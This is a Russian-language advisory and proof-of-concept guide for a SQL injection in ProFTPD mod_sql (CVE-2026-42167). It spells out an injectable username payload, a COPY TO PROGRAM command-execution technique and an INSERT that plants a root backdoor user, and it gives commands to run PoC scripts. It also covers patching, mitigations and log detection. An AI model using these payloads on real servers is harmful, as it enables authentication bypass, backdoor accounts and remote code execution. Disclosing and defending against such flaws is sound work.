
Технический анализ и proof-of-concept для CVE-2026-42167, критической SQL-инъекции в ProFTPD mod_sql, позволяющей обход аутентификации, внедрение пользователя-бэкдора и удалённое выполнение кода.
| Атрибут | Значение |
|---|
| Тип | SQL-инъекция (CWE-89) |
| Серьёзность | Высокая/Критическая |
| CVSS v3 | 8.1 |
| Компонент | mod_sql в ProFTPD < 1.3.9a |
| Сообщено | ZeroPath Research |
| Дата | 28 апреля 2026 г. |
is_escaped_text()ProFTPD использует функцию is_escaped_text() для определения того, было ли значение уже экранировано перед вставкой в SQL-запрос. Функция предполагает, что любой ввод, который:
''...уже экранирован и не требует дополнительной обработки.
Злоумышленник может отправить вредоносное имя пользователя, например:
USER ' || (SELECT 1) ||'
При вставке в SQL-запрос, например:
INSERT "'%U', '%r', '%m'" activity_log
Получается:
INSERT "'' || (SELECT 1) || ''" activity_log
Полезная нагрузка выполняется как произвольный SQL, поскольку операторы || конкатенируют пустые строки вокруг внедрённой команды.
Требования:
%U или %{basename}Техника:
COPY (SELECT 1) TO PROGRAM 'вредоносная_команда'
Выполняет команды на уровне операционной системы от имени пользователя postgres.
Требования:
SQLAuthenticate%U в SQLLog ERR_* (до аутентификации)Техника:
INSERT INTO users (username, password, uid, homedir)
VALUES ('attacker', 'password_hash', 0, '/')
Злоумышленник внедряет backdoor-пользователя с uid=0 (root) и доступом ко всей файловой системе.
Требования:
Техника: Слепая SQL-инъекция на основе времени для извлечения учётных данных посимвольно.
| Переменная | Значение | Область действия |
|---|---|---|
%U | Оригинальное имя пользователя (до аутентификации) | До аутентификации |
%A | Пароль анонимного входа | До аутентификации |
%J | Параметры команды | До аутентификации |
%m | FTP-глагол (STOR, RETR и т. д.) | До аутентификации |
%{basename} | Компонент имени файла | После аутентификации |
%l | Ответ ident (RFC 1413) | До аутентификации (если доступен identd) |
До аутентификации (наиболее критично):
%U + SQLLog ERR_* → Учётные данные не требуются
После аутентификации:
%{basename} + SQLLog STOR → Требуется любой действительный FTP-пользователь
Немедленно обновитесь до ProFTPD 1.3.9a или выше:
# Проверить текущую версию
proftpd -v
# Обновление (пример для Debian/Ubuntu)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1
Если вы не можете обновиться немедленно:
# Закомментируйте или удалите эти строки в proftpd.conf
# SQLLog * log_activity
# SQLLog ERR_* log_activity
-- В PostgreSQL создайте пользователя без прав суперпользователя
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- НЕ выдавать SUPERUSER
TraceLog /var/log/proftpd/trace.log
Trace sql:17
Поищите в журналах трассировки ProFTPD (с включённым Trace sql:17):
text 'payload' is already escaped, skipping escaping it again
Это сообщение указывает на то, что попытка обхода была обработана уязвимым движком.
# Включить подробную трассировку
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf
# Перезапустить ProFTPD
sudo systemctl restart proftpd
# Мониторинг журналов
tail -f /var/log/proftpd/trace.log | grep "already escaped"
| Версия | Статус |
|---|---|
| < 1.3.9 | ❌ Уязвима |
| 1.3.9 | ❌ Уязвима |
| ≥ 1.3.9a | ✅ Исправлена |
| ≥ 1.3.10rc1 | ✅ Исправлена |
# Клонировать репозиторий
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc
# Требования
# - Docker
# - Git
# - Python 3.10+
# - uv (менеджер пакетов Python)
# Настроить уязвимую среду
cd setup
./setup.sh
# Запустить PoC
cd ../pocs
python3 preauth_user_backdoor.py # Внедрить backdoor-пользователя (до аутентификации)
python3 preauth_user_rce.py # RCE через COPY TO PROGRAM (до аутентификации)
python3 postauth_stor_backdoor.py # Внедрить пользователя (после аутентификации)
python3 postauth_stor_rce.py # RCE (после аутентификации)
# Очистка
cd ../setup
./teardown.sh
| Дата | Событие |
|---|---|
| 2026-03-28 | Уязвимость сообщена в ProFTPD |
| 2026-04-07 | Проверка и разработка патча |
| 2026-04-24 | Присвоен CVE-2026-42167 |
| 2026-04-27 | Выпущен патч (коммит af90843baf7dcb8c6be1e5261be2d0b5b5850673) |
| 2026-04-27 | Выпущен ProFTPD 1.3.9a |
SQLLog на всех серверах ProFTPDПоследнее обновление: 28 апреля 2026 г.
Источник: ZeroPath Research, MITRE CVE, NVD